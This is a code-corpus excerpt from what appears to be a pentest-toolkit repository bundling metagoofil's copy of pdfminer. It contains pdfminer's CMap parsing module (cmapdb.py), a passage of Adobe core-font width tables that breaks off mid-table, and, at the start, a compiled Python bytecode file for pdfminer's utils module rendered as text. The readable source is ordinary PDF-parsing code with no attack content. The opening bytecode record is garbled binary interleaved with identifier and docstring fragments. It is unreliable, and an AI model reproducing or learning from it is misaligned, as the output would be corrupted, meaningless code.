Ñò Î ÈMc@sdZddkZddklZdZd„Zd„Zd„Zd „Z d „Z d „Z d „Z d „Z d„Zdd„Zd„Zdd„Zdid„dDƒƒZd„Zdd„Zd„Zd„Zdefd„ƒYZdefd„ƒYZd„ZdS(s Miscellaneous Routines. iÿÿÿÿN(tmaxintiicCs–|\}}}}}}|\}} } } } } ||| || || |||| || || |||| || | || || fS(s+Returns the multiplication of two matrices.((t.0t.1ta1tb1tc1td1te1tf1ta0tb0tc0td0te0tf0((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt mult_matrix s-c CsZ|\}}}}}}|\}} ||||||| ||||| ||fS(sTranslates a matrix by (x,y).(( RRtatbtctdtetftxty((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyttranslate_matrixs!c CsN|\}}}}}}|\}} |||| ||||| |fS(sApplies a matrix to a point.(( RRRRRRRRRR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytapply_matrix_pts!c CsF|\}}}}}}|\}} |||| |||| fS(sCEquivalent to apply_matrix_pt(M, (p,q)) - apply_matrix_pt(M, (0,0))(( RRRRRRRRtptq((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytapply_matrix_norms!ccsDtƒ}x4|D],}||joqn|i|ƒ|VqWdS(sEliminates duplicated elements.N(tsettadd(tobjstdonetobj((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytuniq$s    cs8td„t|ƒDƒƒ‰t|d‡‡fd†ƒS(s"Order-preserving sorting function.css%x|]\}}||fVqWdS(N((RtiR!((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pys <genexpr>0s tkeycsˆ|ƒˆ|fS(((R!(tidxsR$(s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt<lambda>1s(tdictt enumeratetsorted(RR$((R$R%s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytcsort.scCsRg}g}x9|D]1}||ƒo|i|ƒq|i|ƒqW||fS(s9Split a list into two classes according to the predicate.(tappend(tpredRttRR!((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytfsplit4s cCs=||jpt‚tt|ƒ|t||dƒ|ƒS(sReturns a discrete range.i(tAssertionErrortxrangetint(tv0tv1R((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytdrange@scCsƒttt t f\}}}}xP|D]H\}}t||ƒ}t||ƒ}t||ƒ}t||ƒ}q'W||||fS(s7Compute a minimal rectangle that covers all the points.(tINFtmintmax(tptstx0ty0tx1ty1RR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt get_boundFs  cCsRd}xE|D]=}||ƒ}|djp ||jo||}}q q W|S(s;Picks the object obj where func(obj) has the highest value.N(tNone(tseqtfunctmaxobjtmaxscoreR!tscore((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytpickQs ccsPg}xC|D];}|i|ƒt|ƒ|jot|ƒVg}q q WdS(s$Groups every n elements of the list.N(R+tlenttuple(tnR?trR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytchoplist[s  cCs®t|ƒ}|p|S|djo t|ƒS|djotid|ƒdS|djotidd|ƒdS|djotid|ƒdStd |ƒ‚d S( s*Unpacks 1 to 4 byte integers (big endian).iis>Hiis>Ltisinvalid length: %dN(REtordtstructtunpackt TypeError(tstdefaulttl((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytnunpackfs      tccsx|]}t|ƒVqWdS(N(tunichr(RR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pys <genexpr>ws iiiiiiii i i i i iiiiiiiiiiØiÇiÆiÙiÝiÛiÚiÜi i!i"i#i$i%i&i'i(i)i*i+i,i-i.i/i0i1i2i3i4i5i6i7i8i9i:i;i<i=i>i?i@iAiBiCiDiEiFiGiHiIiJiKiLiMiNiOiPiQiRiSiTiUiViWiXiYiZi[i\i]i^i_i`iaibicidieifigihiiijikiliminioipiqirisitiuiviwixiyizi{i|i}i~i" i i! i& i i i’iD i9 i: i"i0 i i i i i i i"!iûiûiAiRi`ixi}i1iBiSiai~i¬ i¡i¢i£i¤i¥i¦i§i¨i©iªi«i¬i®i¯i°i±i²i³i´iµi¶i·i¸i¹iºi»i¼i½i¾i¿iÀiÁiÂiÃiÄiÅiÆiÇiÈiÉiÊiËiÌiÍiÎiÏiÐiÑiÒiÓiÔiÕiÖi×iØiÙiÚiÛiÜiÝiÞißiàiáiâiãiäiåiæiçièiéiêiëiìiíiîiïiðiñiòióiôiõiöi÷iøiùiúiûiüiýiþiÿcCs@|idƒot|dddƒSdid„|DƒƒSdS(s+Decodes a PDFDocEncoding string to Unicode.sþÿisutf-16betignoreRScss#x|]}tt|ƒVqWdS(N(tPDFDocEncodingRK(RR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pys <genexpr>žs N(t startswithtunicodetjoin(RO((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt decode_text™stasciicCsF|iddƒiddƒiddƒiddƒ}|i|d ƒS( s"Encodes a string for SGML/XML/HTMLt&s&amp;t>s&gt;t<s&lt;t"s&quot;txmlcharrefreplace(treplacetencode(Rtcodec((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytenc¡s6cCs&|\}}}}d||||fS(Ns%.3f,%.3f,%.3f,%.3f((RR9R:R;R<((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytbbox2str¦scCs2|\}}}}}}d||||||fS(Ns"[%.2f,%.2f,%.2f,%.2f, (%.2f,%.2f)]((RRRRRRR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt matrix2str©st ObjIdRangecBs;eZdZd„Zd„Zd„Zd„Zd„ZRS(s3A utility class to represent a range of object IDs.cCs||_||_dS(N(tstarttnobjs(tselfRhRi((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt__init__³s  cCsd|iƒ|iƒfS(Ns<ObjIdRange: %d-%d>(t get_start_idt get_end_id(Rj((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt__repr__¸scCs|iS(N(Rh(Rj((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRl»scCs|i|idS(Ni(RhRi(Rj((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRm¾scCs|iS(N(Ri(Rj((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt get_nobjsÁs(t__name__t __module__t__doc__RkRnRlRmRo(((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRg¯s     tPlanecBs;eZddd„Zd„Zd„Zd„Zd„ZRS(i2cCsEh|_||_|dj o"x|D]}|i|ƒq&WndS(N(t_objstgridsizeR>R(RjRRuR!((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRkÎs   cCsdt|ƒS(Ns<Plane objs=%r>(tlist(Rj((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRnÖsccsa|\}}}}xHt|||iƒD]1}x(t|||iƒD]}||fVqDWq(WdS(N(R4Ru(RjRR9R:R;R<RR((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt _getrangeÙscCswxp|i|i|i|i|ifƒD]G}||ijog}||i|<n|i|}|i|ƒq(WdS(N(RwR9R:R;R<RtR+(RjR!tkRH((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRàs( c csá|\}}}}tƒ}x¿|i||||fƒD]¢}||ijoq7nx‚|i|D]s}||joqbn|i|ƒ|i|jp0||ijp |i|jp||ijoqbn|VqbWq7WdS(N(RRwRtRR;R9R<R:( RjRR9R:R;R<RHRxR!((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pytfindës       N(RpRqR>RkRnRwRRy(((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyRsÌs    c Cs³tidd||d|dt|ƒddddƒ }t|ƒdjptt|ƒ‚tidddd t|ƒddd ƒ}t|ƒdjptt|ƒ‚|||S( Ns <IiiHHIIIIIIi(iis<ccIHHItBtMii6i6(RLtpackRER/(tdatatbitstwidththeighttinfotheader((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt create_bmpùs 6#+#(iiiiii(iiiiiiiiii i i i i iiiiiiiiiiiØiÇiÆiÙiÝiÛiÚiÜi i!i"i#i$i%i&i'i(i)i*i+i,i-i.i/i0i1i2i3i4i5i6i7i8i9i:i;i<i=i>i?i@iAiBiCiDiEiFiGiHiIiJiKiLiMiNiOiPiQiRiSiTiUiViWiXiYiZi[i\i]i^i_i`iaibicidieifigihiiijikiliminioipiqirisitiuiviwixiyizi{i|i}i~ii" i i! i& i i i’iD i9 i: i"i0 i i i i i i i"!iûiûiAiRi`ixi}i1iBiSiai~ii¬ i¡i¢i£i¤i¥i¦i§i¨i©iªi«i¬ii®i¯i°i±i²i³i´iµi¶i·i¸i¹iºi»i¼i½i¾i¿iÀiÁiÂiÃiÄiÅiÆiÇiÈiÉiÊiËiÌiÍiÎiÏiÐiÑiÒiÓiÔiÕiÖi×iØiÙiÚiÛiÜiÝiÞißiàiáiâiãiäiåiæiçièiéiêiëiìiíiîiïiðiñiòióiôiõiöi÷iøiùiúiûiüiýiþiÿ(RrRLtsysRR5tMATRIX_IDENTITYRRRRR"R*R.R4R=R>RDRIRRRYRVRZRdReRftobjectRgRsRƒ(((s8/pentest/enumeration/google/metagoofil/pdfminer/utils.pyt<module>sn             -
12,876
Python
.py
31
414.032258
2,974
0.386035
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,806
cmapdb.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/cmapdb.py
#!/usr/bin/env python2 """ Adobe character mapping (CMap) support. CMaps provide the mapping between character codes and Unicode code-points to character ids (CIDs). More information is available on the Adobe website: http://opensource.adobe.com/wiki/display/cmap/CMap+Resources """ import sys import re import os import os.path import gzip import cPickle as pickle import cmap import struct from psparser import PSStackParser from psparser import PSException, PSSyntaxError, PSTypeError, PSEOF from psparser import PSLiteral, PSKeyword from psparser import literal_name, keyword_name from encodingdb import name2unicode from utils import choplist, nunpack class CMapError(Exception): pass ## CMap ## class CMap(object): debug = 0 def __init__(self, code2cid=None): self.code2cid = code2cid or {} return def is_vertical(self): return False def use_cmap(self, cmap): assert isinstance(cmap, CMap) def copy(dst, src): for (k,v) in src.iteritems(): if isinstance(v, dict): d = {} dst[k] = d copy(d, v) else: dst[k] = v copy(self.code2cid, cmap.code2cid) return def decode(self, code): if self.debug: print >>sys.stderr, 'decode: %r, %r' % (self, code) d = self.code2cid for c in code: c = ord(c) if c in d: d = d[c] if isinstance(d, int): yield d d = self.code2cid else: d = self.code2cid return def dump(self, out=sys.stdout, code2cid=None, code=None): if code2cid is None: code2cid = self.code2cid code = () for (k,v) in sorted(code2cid.iteritems()): c = code+(k,) if isinstance(v, int): out.write('code %r = cid %d\n' % (c,v)) else: self.dump(out=out, code2cid=v, code=c) return ## IdentityCMap ## class IdentityCMap(object): def __init__(self, vertical): self.vertical = vertical return def is_vertical(self): return self.vertical def decode(self, code): n = len(code)/2 if n: return struct.unpack('>%dH' % n, code) else: return () ## UnicodeMap ## class UnicodeMap(object): debug = 0 def __init__(self, cid2unichr=None): self.cid2unichr = cid2unichr or {} return def get_unichr(self, cid): if self.debug: print >>sys.stderr, 'get_unichr: %r, %r' % (self, cid) return self.cid2unichr[cid] def dump(self, out=sys.stdout): for (k,v) in sorted(self.cid2unichr.iteritems()): out.write('cid %d = unicode %r\n' % (k,v)) return ## FileCMap ## class FileCMap(CMap): def __init__(self): CMap.__init__(self) self.attrs = {} return def __repr__(self): return '<CMap: %s>' % self.attrs.get('CMapName') def is_vertical(self): return self.attrs.get('WMode', 0) != 0 def set_attr(self, k, v): self.attrs[k] = v return def add_code2cid(self, code, cid): assert isinstance(code, str) and isinstance(cid, int) d = self.code2cid for c in code[:-1]: c = ord(c) if c in d: d = d[c] else: t = {} d[c] = t d =t c = ord(code[-1]) d[c] = cid return ## FileUnicodeMap ## class FileUnicodeMap(UnicodeMap): def __init__(self): UnicodeMap.__init__(self) self.attrs = {} return def __repr__(self): return '<UnicodeMap: %s>' % self.attrs.get('CMapName') def set_attr(self, k, v): self.attrs[k] = v return def add_cid2unichr(self, cid, code): assert isinstance(cid, int) if isinstance(code, PSLiteral): # Interpret as an Adobe glyph name. self.cid2unichr[cid] = name2unicode(code.name) elif isinstance(code, str): # Interpret as UTF-16BE. self.cid2unichr[cid] = unicode(code, 'UTF-16BE', 'ignore') elif isinstance(code, int): self.cid2unichr[cid] = unichr(code) else: raise TypeError(code) return ## PyCMap ## class PyCMap(CMap): def __init__(self, name, module): CMap.__init__(self, module.CODE2CID) self.name = name self._is_vertical = module.IS_VERTICAL return def __repr__(self): return '<PyCMap: %s>' % (self.name) def is_vertical(self): return self._is_vertical ## PyUnicodeMap ## class PyUnicodeMap(UnicodeMap): def __init__(self, name, module, vertical): if vertical: cid2unichr = module.CID2UNICHR_V else: cid2unichr = module.CID2UNICHR_H UnicodeMap.__init__(self, cid2unichr) self.name = name return def __repr__(self): return '<PyUnicodeMap: %s>' % (self.name) ## CMapDB ## class CMapDB(object): debug = 0 _cmap_cache = {} _umap_cache = {} class CMapNotFound(CMapError): pass @classmethod def _load_data(klass, name): filename = '%s.pickle.gz' % name if klass.debug: print >>sys.stderr, 'loading:', name default_path = os.environ.get('CMAP_PATH', '/usr/share/pdfminer/') for directory in (os.path.dirname(cmap.__file__), default_path): path = os.path.join(directory, filename) if os.path.exists(path): gzfile = gzip.open(path) try: return type(name, (), pickle.loads(gzfile.read())) finally: gzfile.close() else: raise CMapDB.CMapNotFound(name) @classmethod def get_cmap(klass, name): if name == 'Identity-H': return IdentityCMap(False) elif name == 'Identity-V': return IdentityCMap(True) try: return klass._cmap_cache[name] except KeyError: pass data = klass._load_data(name) klass._cmap_cache[name] = cmap = PyCMap(name, data) return cmap @classmethod def get_unicode_map(klass, name, vertical=False): try: return klass._umap_cache[name][vertical] except KeyError: pass data = klass._load_data('to-unicode-%s' % name) klass._umap_cache[name] = umaps = [PyUnicodeMap(name, data, v) for v in (False, True)] return umaps[vertical] ## CMapParser ## class CMapParser(PSStackParser): def __init__(self, cmap, fp): PSStackParser.__init__(self, fp) self.cmap = cmap self._in_cmap = False return def run(self): try: self.nextobject() except PSEOF: pass return def do_keyword(self, pos, token): name = token.name if name == 'begincmap': self._in_cmap = True self.popall() return elif name == 'endcmap': self._in_cmap = False return if not self._in_cmap: return # if name == 'def': try: ((_,k),(_,v)) = self.pop(2) self.cmap.set_attr(literal_name(k), v) except PSSyntaxError: pass return if name == 'usecmap': try: ((_,cmapname),) = self.pop(1) self.cmap.use_cmap(CMapDB.get_cmap(literal_name(cmapname))) except PSSyntaxError: pass except CMapDB.CMapNotFound: pass return if name == 'begincodespacerange': self.popall() return if name == 'endcodespacerange': self.popall() return if name == 'begincidrange': self.popall() return if name == 'endcidrange': objs = [ obj for (_,obj) in self.popall() ] for (s,e,cid) in choplist(3, objs): if (not isinstance(s, str) or not isinstance(e, str) or not isinstance(cid, int) or len(s) != len(e)): continue sprefix = s[:-4] eprefix = e[:-4] if sprefix != eprefix: continue svar = s[-4:] evar = e[-4:] s1 = nunpack(svar) e1 = nunpack(evar) vlen = len(svar) #assert s1 <= e1 for i in xrange(e1-s1+1): x = sprefix+struct.pack('>L',s1+i)[-vlen:] self.cmap.add_code2cid(x, cid+i) return if name == 'begincidchar': self.popall() return if name == 'endcidchar': objs = [ obj for (_,obj) in self.popall() ] for (cid,code) in choplist(2, objs): if isinstance(code, str) and isinstance(cid, str): self.cmap.add_code2cid(code, nunpack(cid)) return if name == 'beginbfrange': self.popall() return if name == 'endbfrange': objs = [ obj for (_,obj) in self.popall() ] for (s,e,code) in choplist(3, objs): if (not isinstance(s, str) or not isinstance(e, str) or len(s) != len(e)): continue s1 = nunpack(s) e1 = nunpack(e) #assert s1 <= e1 if isinstance(code, list): for i in xrange(e1-s1+1): self.cmap.add_cid2unichr(s1+i, code[i]) else: var = code[-4:] base = nunpack(var) prefix = code[:-4] vlen = len(var) for i in xrange(e1-s1+1): x = prefix+struct.pack('>L',base+i)[-vlen:] self.cmap.add_cid2unichr(s1+i, x) return if name == 'beginbfchar': self.popall() return if name == 'endbfchar': objs = [ obj for (_,obj) in self.popall() ] for (cid,code) in choplist(2, objs): if isinstance(cid, str) and isinstance(code, str): self.cmap.add_cid2unichr(nunpack(cid), code) return if name == 'beginnotdefrange': self.popall() return if name == 'endnotdefrange': self.popall() return self.push((pos, token)) return # test def main(argv): args = argv[1:] for fname in args: fp = file(fname, 'rb') cmap = FileUnicodeMap() #cmap = FileCMap() CMapParser(cmap, fp).run() fp.close() cmap.dump() return if __name__ == '__main__': sys.exit(main(sys.argv))
11,181
Python
.py
349
21.770774
94
0.517631
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,807
fontmetrics.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/fontmetrics.py
#!/usr/bin/env python2 """ Font metrics for the Adobe core 14 fonts. Font metrics are used to compute the boundary of each character written with a proportional font. The following data were extracted from the AFM files: http://www.ctan.org/tex-archive/fonts/adobe/afm/ """ ### BEGIN Verbatim copy of the license part # # Adobe Core 35 AFM Files with 229 Glyph Entries - ReadMe # # This file and the 35 PostScript(R) AFM files it accompanies may be # used, copied, and distributed for any purpose and without charge, # with or without modification, provided that all copyright notices # are retained; that the AFM files are not distributed without this # file; that all modifications to this file or any of the AFM files # are prominently noted in the modified file(s); and that this # paragraph is not modified. Adobe Systems has no responsibility or # obligation to support the use of the AFM files. # ### END Verbatim copy of the license part FONT_METRICS = { 'Courier-Oblique': ({'FontName': 'Courier-Oblique', 'Descent': -194.0, 'FontBBox': (-49.0, -249.0, 749.0, 803.0), 'FontWeight': 'Medium', 'CapHeight': 572.0, 'FontFamily': 'Courier', 'Flags': 64, 'XHeight': 434.0, 'ItalicAngle': -11.0, 'Ascent': 627.0}, {32: 600, 33: 600, 34: 600, 35: 600, 36: 600, 37: 600, 38: 600, 39: 600, 40: 600, 41: 600, 42: 600, 43: 600, 44: 600, 45: 600, 46: 600, 47: 600, 48: 600, 49: 600, 50: 600, 51: 600, 52: 600, 53: 600, 54: 600, 55: 600, 56: 600, 57: 600, 58: 600, 59: 600, 60: 600, 61: 600, 62: 600, 63: 600, 64: 600, 65: 600, 66: 600, 67: 600, 68: 600, 69: 600, 70: 600, 71: 600, 72: 600, 73: 600, 74: 600, 75: 600, 76: 600, 77: 600, 78: 600, 79: 600, 80: 600, 81: 600, 82: 600, 83: 600, 84: 600, 85: 600, 86: 600, 87: 600, 88: 600, 89: 600, 90: 600, 91: 600, 92: 600, 93: 600, 94: 600, 95: 600, 96: 600, 97: 600, 98: 600, 99: 600, 100: 600, 101: 600, 102: 600, 103: 600, 104: 600, 105: 600, 106: 600, 107: 600, 108: 600, 109: 600, 110: 600, 111: 600, 112: 600, 113: 600, 114: 600, 115: 600, 116: 600, 117: 600, 118: 600, 119: 600, 120: 600, 121: 600, 122: 600, 123: 600, 124: 600, 125: 600, 126: 600, 161: 600, 162: 600, 163: 600, 164: 600, 165: 600, 166: 600, 167: 600, 168: 600, 169: 600, 170: 600, 171: 600, 172: 600, 173: 600, 174: 600, 175: 600, 177: 600, 178: 600, 179: 600, 180: 600, 182: 600, 183: 600, 184: 600, 185: 600, 186: 600, 187: 600, 188: 600, 189: 600, 191: 600, 193: 600, 194: 600, 195: 600, 196: 600, 197: 600, 198: 600, 199: 600, 200: 600, 202: 600, 203: 600, 205: 600, 206: 600, 207: 600, 208: 600, 225: 600, 227: 600, 232: 600, 233: 600, 234: 600, 235: 600, 241: 600, 245: 600, 248: 600, 249: 600, 250: 600, 251: 600}), 'Times-BoldItalic': ({'FontName': 'Times-BoldItalic', 'Descent': -217.0, 'FontBBox': (-200.0, -218.0, 996.0, 921.0), 'FontWeight': 'Bold', 'CapHeight': 669.0, 'FontFamily': 'Times', 'Flags': 0, 'XHeight': 462.0, 'ItalicAngle': -15.0, 'Ascent': 683.0}, {32: 250, 33: 389, 34: 555, 35: 500, 36: 500, 37: 833, 38: 778, 39: 333, 40: 333, 41: 333, 42: 500, 43: 570, 44: 250, 45: 333, 46: 250, 47: 278, 48: 500, 49: 500, 50: 500, 51: 500, 52: 500, 53: 500, 54: 500, 55: 500, 56: 500, 57: 500, 58: 333, 59: 333, 60: 570, 61: 570, 62: 570, 63: 500, 64: 832, 65: 667, 66: 667, 67: 667, 68: 722, 69: 667, 70: 667, 71: 722, 72: 778, 73: 389, 74: 500, 75: 667, 76: 611, 77: 889, 78: 722, 79: 722, 80: 611, 81: 722, 82: 667, 83: 556, 84: 611, 85: 722, 86: 667, 87: 889, 88: 667, 89: 611, 90: 611, 91: 333, 92: 278, 93: 333, 94: 570, 95: 500, 96: 333, 97: 500, 98: 500, 99: 444, 100: 500, 101: 444, 102: 333, 103: 500, 104: 556, 105: 278, 106: 278, 107: 500, 108: 278, 109: 778, 110: 556, 111: 500, 112: 500, 113: 500, 114: 389, 115: 389, 116: 278, 117: 556, 118: 444, 119: 667, 120: 500, 121: 444, 122: 389, 123: 348, 124: 220, 125: 348, 126: 570, 161: 389, 162: 500, 163: 500, 164: 167, 165: 500, 166: 500, 167: 500, 168: 500, 169: 278, 170: 500, 171: 500, 172: 333, 173: 333, 174: 556, 175: 556, 177: 500, 178: 500, 179: 500, 180: 250, 182: 500, 183: 350, 184: 333, 185: 500, 186: 500, 187: 500, 188: 1000, 189: 1000, 191: 500, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 944, 227: 266, 232: 611, 233: 722, 234: 944, 235: 300, 241: 722, 245: 278, 248: 278, 249: 500, 250: 722, 251: 500}), 'Helvetica-Bold': ({'FontName': 'Helvetica-Bold', 'Descent': -207.0, 'FontBBox': (-170.0, -228.0, 1003.0, 962.0), 'FontWeight': 'Bold', 'CapHeight': 718.0, 'FontFamily': 'Helvetica', 'Flags': 0, 'XHeight': 532.0, 'ItalicAngle': 0.0, 'Ascent': 718.0}, {32: 278, 33: 333, 34: 474, 35: 556, 36: 556, 37: 889, 38: 722, 39: 278, 40: 333, 41: 333, 42: 389, 43: 584, 44: 278, 45: 333, 46: 278, 47: 278, 48: 556, 49: 556, 50: 556, 51: 556, 52: 556, 53: 556, 54: 556, 55: 556, 56: 556, 57: 556, 58: 333, 59: 333, 60: 584, 61: 584, 62: 584, 63: 611, 64: 975, 65: 722, 66: 722, 67: 722, 68: 722, 69: 667, 70: 611, 71: 778, 72: 722, 73: 278, 74: 556, 75: 722, 76: 611, 77: 833, 78: 722, 79: 778, 80: 667, 81: 778, 82: 722, 83: 667, 84: 611, 85: 722, 86: 667, 87: 944, 88: 667, 89: 667, 90: 611, 91: 333, 92: 278, 93: 333, 94: 584, 95: 556, 96: 278, 97: 556, 98: 611, 99: 556, 100: 611, 101: 556, 102: 333, 103: 611, 104: 611, 105: 278, 106: 278, 107: 556, 108: 278, 109: 889, 110: 611, 111: 611, 112: 611, 113: 611, 114: 389, 115: 556, 116: 333, 117: 611, 118: 556, 119: 778, 120: 556, 121: 556, 122: 500, 123: 389, 124: 280, 125: 389, 126: 584, 161: 333, 162: 556, 163: 556, 164: 167, 165: 556, 166: 556, 167: 556, 168: 556, 169: 238, 170: 500, 171: 556, 172: 333, 173: 333, 174: 611, 175: 611, 177: 556, 178: 556, 179: 556, 180: 278, 182: 556, 183: 350, 184: 278, 185: 500, 186: 500, 187: 556, 188: 1000, 189: 1000, 191: 611, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 1000, 227: 370, 232: 611, 233: 778, 234: 1000, 235: 365, 241: 889, 245: 278, 248: 278, 249: 611, 250: 944, 251: 611}), 'Courier': ({'FontName': 'Courier', 'Descent': -194.0, 'FontBBox': (-6.0, -249.0, 639.0, 803.0), 'FontWeight': 'Medium', 'CapHeight': 572.0, 'FontFamily': 'Courier', 'Flags': 64, 'XHeight': 434.0, 'ItalicAngle': 0.0, 'Ascent': 627.0}, {32: 600, 33: 600, 34: 600, 35: 600, 36: 600, 37: 600, 38: 600, 39: 600, 40: 600, 41: 600, 42: 600, 43: 600, 44: 600, 45: 600, 46: 600, 47: 600, 48: 600, 49: 600, 50: 600, 51: 600, 52: 600, 53: 600, 54: 600, 55: 600, 56: 600, 57: 600, 58: 600, 59: 600, 60: 600, 61: 600, 62: 600, 63: 600, 64: 600, 65: 600, 66: 600, 67: 600, 68: 600, 69: 600, 70: 600, 71: 600, 72: 600, 73: 600, 74: 600, 75: 600, 76: 600, 77: 600, 78: 600, 79: 600, 80: 600, 81: 600, 82: 600, 83: 600, 84: 600, 85: 600, 86: 600, 87: 600, 88: 600, 89: 600, 90: 600, 91: 600, 92: 600, 93: 600, 94: 600, 95: 600, 96: 600, 97: 600, 98: 600, 99: 600, 100: 600, 101: 600, 102: 600, 103: 600, 104: 600, 105: 600, 106: 600, 107: 600, 108: 600, 109: 600, 110: 600, 111: 600, 112: 600, 113: 600, 114: 600, 115: 600, 116: 600, 117: 600, 118: 600, 119: 600, 120: 600, 121: 600, 122: 600, 123: 600, 124: 600, 125: 600, 126: 600, 161: 600, 162: 600, 163: 600, 164: 600, 165: 600, 166: 600, 167: 600, 168: 600, 169: 600, 170: 600, 171: 600, 172: 600, 173: 600, 174: 600, 175: 600, 177: 600, 178: 600, 179: 600, 180: 600, 182: 600, 183: 600, 184: 600, 185: 600, 186: 600, 187: 600, 188: 600, 189: 600, 191: 600, 193: 600, 194: 600, 195: 600, 196: 600, 197: 600, 198: 600, 199: 600, 200: 600, 202: 600, 203: 600, 205: 600, 206: 600, 207: 600, 208: 600, 225: 600, 227: 600, 232: 600, 233: 600, 234: 600, 235: 600, 241: 600, 245: 600, 248: 600, 249: 600, 250: 600, 251: 600}), 'Courier-BoldOblique': ({'FontName': 'Courier-BoldOblique', 'Descent': -194.0, 'FontBBox': (-49.0, -249.0, 758.0, 811.0), 'FontWeight': 'Bold', 'CapHeight': 572.0, 'FontFamily': 'Courier', 'Flags': 64, 'XHeight': 434.0, 'ItalicAngle': -11.0, 'Ascent': 627.0}, {32: 600, 33: 600, 34: 600, 35: 600, 36: 600, 37: 600, 38: 600, 39: 600, 40: 600, 41: 600, 42: 600, 43: 600, 44: 600, 45: 600, 46: 600, 47: 600, 48: 600, 49: 600, 50: 600, 51: 600, 52: 600, 53: 600, 54: 600, 55: 600, 56: 600, 57: 600, 58: 600, 59: 600, 60: 600, 61: 600, 62: 600, 63: 600, 64: 600, 65: 600, 66: 600, 67: 600, 68: 600, 69: 600, 70: 600, 71: 600, 72: 600, 73: 600, 74: 600, 75: 600, 76: 600, 77: 600, 78: 600, 79: 600, 80: 600, 81: 600, 82: 600, 83: 600, 84: 600, 85: 600, 86: 600, 87: 600, 88: 600, 89: 600, 90: 600, 91: 600, 92: 600, 93: 600, 94: 600, 95: 600, 96: 600, 97: 600, 98: 600, 99: 600, 100: 600, 101: 600, 102: 600, 103: 600, 104: 600, 105: 600, 106: 600, 107: 600, 108: 600, 109: 600, 110: 600, 111: 600, 112: 600, 113: 600, 114: 600, 115: 600, 116: 600, 117: 600, 118: 600, 119: 600, 120: 600, 121: 600, 122: 600, 123: 600, 124: 600, 125: 600, 126: 600, 161: 600, 162: 600, 163: 600, 164: 600, 165: 600, 166: 600, 167: 600, 168: 600, 169: 600, 170: 600, 171: 600, 172: 600, 173: 600, 174: 600, 175: 600, 177: 600, 178: 600, 179: 600, 180: 600, 182: 600, 183: 600, 184: 600, 185: 600, 186: 600, 187: 600, 188: 600, 189: 600, 191: 600, 193: 600, 194: 600, 195: 600, 196: 600, 197: 600, 198: 600, 199: 600, 200: 600, 202: 600, 203: 600, 205: 600, 206: 600, 207: 600, 208: 600, 225: 600, 227: 600, 232: 600, 233: 600, 234: 600, 235: 600, 241: 600, 245: 600, 248: 600, 249: 600, 250: 600, 251: 600}), 'Times-Bold': ({'FontName': 'Times-Bold', 'Descent': -217.0, 'FontBBox': (-168.0, -218.0, 1000.0, 935.0), 'FontWeight': 'Bold', 'CapHeight': 676.0, 'FontFamily': 'Times', 'Flags': 0, 'XHeight': 461.0, 'ItalicAngle': 0.0, 'Ascent': 683.0}, {32: 250, 33: 333, 34: 555, 35: 500, 36: 500, 37: 1000, 38: 833, 39: 333, 40: 333, 41: 333, 42: 500, 43: 570, 44: 250, 45: 333, 46: 250, 47: 278, 48: 500, 49: 500, 50: 500, 51: 500, 52: 500, 53: 500, 54: 500, 55: 500, 56: 500, 57: 500, 58: 333, 59: 333, 60: 570, 61: 570, 62: 570, 63: 500, 64: 930, 65: 722, 66: 667, 67: 722, 68: 722, 69: 667, 70: 611, 71: 778, 72: 778, 73: 389, 74: 500, 75: 778, 76: 667, 77: 944, 78: 722, 79: 778, 80: 611, 81: 778, 82: 722, 83: 556, 84: 667, 85: 722, 86: 722, 87: 1000, 88: 722, 89: 722, 90: 667, 91: 333, 92: 278, 93: 333, 94: 581, 95: 500, 96: 333, 97: 500, 98: 556, 99: 444, 100: 556, 101: 444, 102: 333, 103: 500, 104: 556, 105: 278, 106: 333, 107: 556, 108: 278, 109: 833, 110: 556, 111: 500, 112: 556, 113: 556, 114: 444, 115: 389, 116: 333, 117: 556, 118: 500, 119: 722, 120: 500, 121: 500, 122: 444, 123: 394, 124: 220, 125: 394, 126: 520, 161: 333, 162: 500, 163: 500, 164: 167, 165: 500, 166: 500, 167: 500, 168: 500, 169: 278, 170: 500, 171: 500, 172: 333, 173: 333, 174: 556, 175: 556, 177: 500, 178: 